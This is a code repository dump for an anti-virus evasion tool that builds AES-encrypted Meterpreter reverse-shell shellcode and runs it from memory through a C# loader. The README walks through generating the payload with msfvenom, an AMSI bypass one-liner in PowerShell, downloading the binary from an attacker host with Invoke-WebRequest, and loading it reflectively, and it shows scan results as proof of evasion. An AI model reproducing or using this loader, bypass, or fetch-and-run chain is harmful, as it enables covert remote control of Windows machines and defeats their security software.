├── ProcessInjection.cs ├── README.md ├── demo.gif ├── scan.png └── shellcode_encryptor.py /ProcessInjection.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Security.Cryptography; 4 | using System.Text; 5 | using System.IO; 6 | 7 | namespace ProcessInjection 8 | { 9 | class Program 10 | { 11 | public enum Protection 12 | { 13 | PAGE_NOACCESS = 0x01, 14 | PAGE_READONLY = 0x02, 15 | PAGE_READWRITE = 0x04, 16 | PAGE_WRITECOPY = 0x08, 17 | PAGE_EXECUTE = 0x10, 18 | PAGE_EXECUTE_READ = 0x20, 19 | PAGE_EXECUTE_READWRITE = 0x40, 20 | PAGE_EXECUTE_WRITECOPY = 0x80, 21 | PAGE_GUARD = 0x100, 22 | PAGE_NOCACHE = 0x200, 23 | PAGE_WRITECOMBINE = 0x400 24 | } 25 | 26 | [DllImport("kernel32.dll")] 27 | static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 28 | 29 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 30 | static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred); 31 | 32 | private delegate Int32 ShellcodeDelegate(); 33 | 34 | static void Main(string[] args) 35 | { 36 | Shellcode(); 37 | } 38 | 39 | static void Shellcode() 40 | { 41 | // attempt heuristics/behaviour bypass 42 | IntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0); 43 | if (mem == null) 44 | { 45 | return; 46 | } 47 | 48 | // decrypt the base64 payload - change these to your own encrypted payload and key 49 | string payload = "sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg"; 50 | string key = "fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec"; 51 | 52 | byte[] buf = Decrypt(key, payload); 53 | 54 | unsafe 55 | { 56 | fixed(byte* ptr = buf) 57 | { 58 | // set the memory as executable and execute the function pointer (as a delegate) 59 | IntPtr memoryAddress = (IntPtr)ptr; 60 | VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect); 61 | 62 | ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate)); 63 | func(); 64 | } 65 | } 66 | } 67 | 68 | private static byte[] Decrypt(string key, string aes_base64) 69 | { 70 | byte[] tempKey = Encoding.ASCII.GetBytes(key); 71 | tempKey = SHA256.Create().ComputeHash(tempKey); 72 | 73 | byte[] data = Convert.FromBase64String(aes_base64); 74 | 75 | // decrypt data 76 | Aes aes = new AesManaged(); 77 | aes.Mode = CipherMode.CBC; 78 | aes.Padding = PaddingMode.PKCS7; 79 | ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16)); 80 | 81 | using (MemoryStream msDecrypt = new MemoryStream()) 82 | { 83 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write)) 84 | { 85 | 86 | csDecrypt.Write(data, 0, data.Length); 87 | 88 | return msDecrypt.ToArray(); 89 | } 90 | } 91 | } 92 | 93 | static byte[] SubArray(byte[] a, int length) 94 | { 95 | byte[] b = new byte[length]; 96 | for (int i = 0; i < length; i++) 97 | { 98 | b[i] = a[i]; 99 | } 100 | return b; 101 | } 102 | } 103 | } 104 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ShellcodeEncryptor 2 | A simple shell code encryptor/decryptor/executor to bypass anti virus. 3 | 4 | **Note:** I have completely redone the work flow for creating the bypass, I have found injecting the binary into memory using PowerShell as the most effective method. 5 | 6 | Demo 7 | 8 | # Purpose 9 | To generate a .Net binary containing base64 encoded, AES encrypted shellcode that will execute on a Windows target, bypassing anti-virus. 10 | 11 | # Instructions 12 | 13 | Use the `meterpreter_encryptor.py` to create the encrypted base64 shellcode: 14 | 15 | ```bash 16 | root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64 17 | [+] Generating MSFVENOM payload... 18 | [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload 19 | [-] No arch selected, selecting arch: x64 from the payload 20 | Found 1 compatible encoders 21 | Attempting to encode payload with 1 iterations of x64/xor_dynamic 22 | x64/xor_dynamic succeeded with size 667 (iteration=0) 23 | x64/xor_dynamic chosen with final size 667 24 | Payload size: 667 bytes 25 | Saved as: ./msf.bin 26 | [+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec... 27 | [+] Base64 output: 28 | sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg 29 | ``` 30 | 31 | Take the key and shellcode and insert it into [ProcessInjector.cs](https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/ProcessInjection.cs) 32 | 33 | ```csharp 34 | // decrypt the base64 payload 35 | string payload = "sZkMii [etc...]"; 36 | string key = "fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec"; 37 | ``` 38 | 39 | Compile the C# code into an executable (e.g., `metInject.exe`) and serve it via a web server. 40 | 41 | Inject the executable into a remote PowerShell process: 42 | 43 | ```powershell 44 | # AMSI bypass 45 | $a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iutils") {$c = $b}};$d = $c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*itFailed") {$f = $e}};$f.SetValue($null,$true) 46 | 47 | $bytes = (Invoke-WebRequest "http://192.168.1.228/metInject.exe").Content; 48 | $assembly = [System.Reflection.Assembly]::Load($bytes); 49 | $entryPointMethod = $assembly.GetType('ProcessInjection.Program', [Reflection.BindingFlags] 'Public, NonPublic').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic'); 50 | $entryPointMethod.Invoke($null, (, [string[]] ('', ''))); 51 | ``` 52 | 53 | Hopefully you will have a nice meterpreter shell. 54 | 55 | # Help 56 | 57 | ```bash 58 | ./meterpreter_encryptor.py -h 59 | usage: meterpreter_encryptor.py [-h] [-l LPORT] [-i LHOST] [-p PAYLOAD] [-m METHOD] [-k KEY] [-e ENCODER] [-f FORMAT] 60 | 61 | optional arguments: 62 | -h, --help show this help message and exit 63 | -l LPORT, --lport LPORT 64 | The local port that msfconsole is listening on. 65 | -i LHOST, --lhost LHOST 66 | The local host that msfconsole is listening on. 67 | -p PAYLOAD, --payload PAYLOAD 68 | The payload to generate in msfvenom. 69 | -m METHOD, --method METHOD 70 | The method to use: thread/delegate. 71 | -k KEY, --key KEY The encryption key (32 chars). 72 | -e ENCODER, --encoder ENCODER 73 | The meterpreter encoder. 74 | -f FORMAT, --format FORMAT 75 | The format to output. 76 | ``` 77 | 78 | # AV Scan Results 79 | 80 | The binary was scanned using [antiscan.me](https://antiscan.me/scan/new/result?id=gn0muzwLOUOc) on 03/10/2021. 81 | 82 | ![AV Scan](https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/scan.png?raw=true) 83 | 84 | # Notes 85 | 86 | Tested with windows/x64/meterpreter/reverse_https on Windows 10 Pro (build 10.0.19042) with Defender. 87 | -------------------------------------------------------------------------------- /demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/plackyhacker/Shellcode-Encryptor/ec453d9f1b86b8d5f2de151674975a09b2441770/demo.gif -------------------------------------------------------------------------------- /scan.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/plackyhacker/Shellcode-Encryptor/ec453d9f1b86b8d5f2de151674975a09b2441770/scan.png -------------------------------------------------------------------------------- /shellcode_encryptor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import array, base64, random, string 3 | from Crypto.Cipher import AES 4 | from hashlib import sha256 5 | import argparse, subprocess, os 6 | 7 | def main(): 8 | args = parse_args() 9 | lhost = args.lhost 10 | lport = args.lport 11 | key = args.key 12 | if not key: 13 | key = get_random_string(32) 14 | payload = args.payload 15 | method = args.method 16 | format = args.format 17 | 18 | ''' generate msfvenom payload ''' 19 | print("[+] Generating MSFVENOM payload...") 20 | result = subprocess.run(['msfvenom', 21 | '-p', payload, 22 | 'LPORT=' + lport, 23 | 'LHOST=' + lhost, 24 | # '-b', '\\x00', 25 | '-f', 'raw', 26 | '-o', './msf.bin'], 27 | capture_output=False) 28 | 29 | f = open("./msf.bin", "rb") 30 | buf = f.read() 31 | f.close() 32 | 33 | print("[+] key and payload will be written to key.b64 and payload.b64") 34 | 35 | ''' encrypt the payload ''' 36 | print("[+] Encrypting the payload, key=" + key + "...") 37 | hkey = hash_key(key) 38 | encrypted = encrypt(hkey, hkey[:16], buf) 39 | b64 = base64.b64encode(encrypted) 40 | 41 | f = open("./key.b64", "w") 42 | f.write(key) 43 | f.close() 44 | 45 | f = open("./payload.b64", "w") 46 | f.write(b64.decode('utf-8')) 47 | f.close() 48 | 49 | if format == "b64": 50 | ''' base64 output ''' 51 | print("[+] Base64 output:") 52 | print(b64.decode('utf-8')) 53 | print("\n[+] Have a nice day!") 54 | return 55 | if format == "c": 56 | ''' c output ''' 57 | print("[+] C output:") 58 | hex_string = 'unsigned char payload[] ={0x'; 59 | hex = '0x'.join('{:02x},'.format(x) for x in encrypted) 60 | hex_string = hex_string + hex[:-1] + "};" 61 | print(hex_string) 62 | print("\n[+] Have a nice day!") 63 | return 64 | 65 | def encrypt(key,iv,plaintext): 66 | key_length = len(key) 67 | if (key_length >= 32): 68 | k = key[:32] 69 | elif (key_length >= 24): 70 | k = key[:24] 71 | else: 72 | k = key[:16] 73 | 74 | aes = AES.new(k, AES.MODE_CBC, iv) 75 | pad_text = pad(plaintext, 16) 76 | return aes.encrypt(pad_text) 77 | 78 | def hash_key(key): 79 | h = '' 80 | for c in key: 81 | h += hex(ord(c)).replace("0x", "") 82 | h = bytes.fromhex(h) 83 | hashed = sha256(h).digest() 84 | return hashed 85 | 86 | def pad(data, block_size): 87 | padding_size = (block_size - len(data)) % block_size 88 | if padding_size == 0: 89 | padding_size = block_size 90 | padding = (bytes([padding_size]) * padding_size) 91 | return data + padding 92 | 93 | def parse_args(): 94 | parser = argparse.ArgumentParser() 95 | 96 | parser.add_argument("-l", "--lport", default="0.0.0.0", type=str, 97 | help="The local port that msfconsole is listening on.") 98 | parser.add_argument("-i", "--lhost", default="443", type=str, 99 | help="The local host that msfconsole is listening on.") 100 | parser.add_argument("-p", "--payload", default = "windows/x64/meterpreter/reverse_https", type=str, 101 | help="The payload to generate in msfvenom.") 102 | parser.add_argument("-m", "--method", default="thread", type=str, 103 | help="The method to use: thread/delegate.") 104 | parser.add_argument("-k", "--key", default="", type=str, 105 | help="The encryption key (32 chars).") 106 | 107 | 108 | parser.add_argument("-f", "--format", default="b64", type=str, 109 | help="The format to output.") 110 | 111 | return parser.parse_args() 112 | 113 | def get_random_string(length): 114 | letters = string.ascii_letters + string.digits 115 | result_str = ''.join(random.choice(letters) for i in range(length)) 116 | return result_str 117 | 118 | if __name__ == '__main__': 119 | main() 120 | --------------------------------------------------------------------------------